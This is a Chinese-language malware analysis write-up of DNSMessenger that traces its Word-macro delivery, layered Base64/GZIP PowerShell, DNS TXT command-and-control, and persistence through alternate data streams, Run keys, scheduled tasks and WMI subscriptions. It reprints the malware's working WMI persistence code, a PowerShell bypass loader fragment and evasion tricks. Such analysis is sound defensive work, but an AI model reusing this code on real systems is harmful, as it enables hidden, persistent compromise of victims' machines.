在这篇文章中，我将介绍通过分析DNSMessenger恶意软件提取的一些有趣见解，通过分析结果，讨论我使用的方法，并思考每个步骤的过程。

提取源代码

此恶意软件被发现在一个携带SHA-256 hash: 340795d1f2c2bdab1f2382188a7b5c838e0a79d3f059d2db9eb274b0205f6981的恶意Word文档中。为了从宏中提取VBA源代码，我使用了OLETools，安装OLETools之后，只需运行命令olevba <filepath>就可以显示出宏。

第1层 – VB和嵌入式PowerShell

这里，你会发现马上就遇到了难题，攻击者做的一些事情让脚本难以解开——作者嵌入了大量换行间距，广泛分散内容，使重要代码难以被发现。在使用OLETools显示宏之后，你还需要进行大量滚动才能读取整个脚本。更糟糕的是，如果你的终端具有有限的回滚缓冲区，则会隐藏部分脚本。

你还会注意到作者使用了无偿字符串连接来破坏简单的字符串签名——这有助于攻击者逃避静态分析工具，寻找像"winmgmts:\\.\root\cimv2"这样的字符串，并可能会被以下内容抛出：

"w" & "" & "in" & "" & "mgm" & "" & "ts" & "" & ":" & "" & "\\" & "." & "\r" & "" & "oot\c" & "" & "imv" & "" & "2"

名为lStr的变量中还包含一个大型Base64字符串，该变量由PowerShell命令包装，该命令对字符串进行解码。

lStr = "powershell -ep bypass -C ""$data = [System.Convert]::FromBase64String('H4sIAAAAAAAEAO1da3PayNL+7l+hol ... many many more lines ...

这是lStr的部分快照：

让我们解码它并进一步进行研究。

解开Base64

下面是一个简单的Python3脚本，用于解码前面提到的Base64 blob。

import base64
import sys
with open(sys.argv[1]) as f:
    encoded = f.read()
sys.stdout.write(base64.b64decode(encoded))

解码后，你会注意到生成的内容仍然无法读取。我们可以通过几种方式知晓其内容是GZIP格式的：最显而易见的是，存储在lStr中的VB字符串具有使用System.IO.Compression.GZipStream对象解压缩解码内容的命令；另一种识别方式是通过其魔数（magic number），即开始文件签名（1F8B）；我们还可以在Unix机器上使用file <filepath>命令来确定文件类型。

现在，我们将使用gunzip <filepath>解压缩内容，这会创建一个具有相同名称的解压缩文件，打开解压缩的文件将显示模糊的PowerShell代码（第2层），经过一些清理和重构后，脚本行为的一些有趣细节会变得更加明显。

第2层 – Base64解码和解压缩的PowerShell

滚动解压缩的脚本你会找到另一个Base64 blob，它充当下一阶段的有效负载，我将其命名为第3层有效负载。

存储有效负载

如果受害者具有PowerShell 3.0或更高版本，则该脚本将编码的第3层有效负载存储在名为kernel32.dll的备用数据流中，位于%PROGRAMDATA%\Windows\。恶意软件作者通常滥用ADS来编写隐藏数据，只需导航到目录并列出其文件，你就无法找到有效负载。如果受害者具有较旧版本的PowerShell，则该脚本会在注册表中为密钥添加名为Path的新属性，以存储有效内容。如果用户具有管理员权限，有效内容将存储在HKLM:Software\Microsoft\Windows\CurrentVersion中，否则，它将存储在HKCU:Software\Microsoft\Windows中。

注册表键

这些脚本在%PROGRAMDATA%\Windows\中创建了一个名为kernel32.vbs的备用数据流，并向其写入代码，该代码可以从上一步中存储的任何位置检索并执行有效负载。

每次用户登录等待30分钟后，攻击者会修改运行注册表项以执行kernel32.vbs。如果用户具有管理员权限，则目标密钥为HKLM:Software\Microsoft\Windows\CurrentVersion\Run\， 否则，目标密钥为HKCU:Software\Microsoft\Windows\CurrentVersion\Run\。

创建新的WMI对象

如果用户具有管理员权限，则脚本将创建永久WMI事件订阅，该订阅会监视用户登录，30分钟之后执行编码的有效负载。此时，该程序已展示出足够的恶意，它会被SentinelOne检测到并被定义为恶意行为。

以下是代码。

首先，它会删除现有的订阅：

gwmi __eventFilter -namespace root\subscription | Remove-WmiObject
gwmi CommandLineEventConsumer -Namespace root\subscription | Remove-WmiObject
gwmi __filtertoconsumerbinding -Namespace root\subscription | Remove-WmiObject

然后它会创建自己的订阅。如果你有PowerShell 3.0或更高版本，逻辑会是这样的：

$event_filter = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class __EventFilter -Arguments @{Name = $kernel32_filter; EventNamespace = “root\CIMV2”; QueryLanguage = “WQL”; Query = “Select * from __InstanceCreationEvent within 30 where targetInstance isa 'Win32_LogonSession'”}
$event_consumer = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class CommandLineEventConsumer -Arguments @{Name = $kernel32_consumer; ExecutablePath = “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”; CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -C `"IEX `$(Get-Content -Path $windows_path -Stream $kernel32_dll|Out-String)`""}
Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “root\subscription” -Class __FilterToConsumerBinding -Arguments @{Filter = $event_filter; Consumer = $event_consumer}

定时任务

该脚本还会创建一个定时任务，以便在用户登录30分钟后运行恶意软件。用于启动恶意软件的方法仅略有不同，具体取决于用户是否具有管理员权限，如果用户是非管理员，则使用wscript执行kernel32.vbs的内容，。否则，使用Invoke-Expression cmdlet。

第3层 – DNS查询

现在我们已经讨论了攻击者实现恶意软件持久性的各种方法，让我们来看看下一个编码的有效负载是由什么造成的。

在Base64解码和一些手动反混淆之后，你会注意到函数逻辑开头的这段代码，它包含了if之后的许多其他代码。

[bool]$flag = $false;
$mutex = New-Object System.Threading.Mutex($true, "SourceFireSux", [ref] $flag);
if (!$flag) { exit; }

乍一看，似乎这个if之后的恶意代码应该永远不会执行，但由于构造System.Threading.Mutex的语义，静态分析工具或弱动态分析系统可能无法实现将$flag神奇地变为true。从Source Fire的厚颜无耻来看，可能是加入了这种特定的逃避技术，以阻止Source Fire分析。

很明显，代码使用nslookup命令重复查询DNS文本记录，这些查询的响应决定了程序的行为：

•"idle"会导致进程在3500到5400秒之间休眠，然后继续

•"stop"会提示进程退出

•继续

•使用Invoke-Expression执行查询响应

由于这些领域不再具有活性，我们将不得不依赖先前Edmund Brumaghin和Colin Grady at Talos的数据，因为它们进行了原始分析。

第4层 – 命令与控制通信

为了响应DNS文本查询，你必须发送另一个有效载荷，它包括一个gzip压缩和Base64编码的字符串，以及对第3层中dec函数的调用，用以解开它，所得的结果将传递给要执行的Invoke-Expression命令行。根据Talos的分析，这个有效负载重定向STDIN，STDOUT和STDERR，以便攻击者可以读取和写入命令行处理器，有效负载执行更多DNS查询命令，并与命令和控制服务器建立通信通道。从这里开始，攻击者可以通过DNS文本查询、响应发送要在受害者计算机的命令行，来解释器上执行的命令，并接收这些命令的结果。

小结

这是一段较旧但有趣的恶意软件分析，我将其分解为4个不同的层并描述了每个层的属性，具体来说，是回顾了此恶意软件所采用的混淆方式，以及它用于实现持久性的不同方法。

希望你能学到一些东西，谢谢阅读！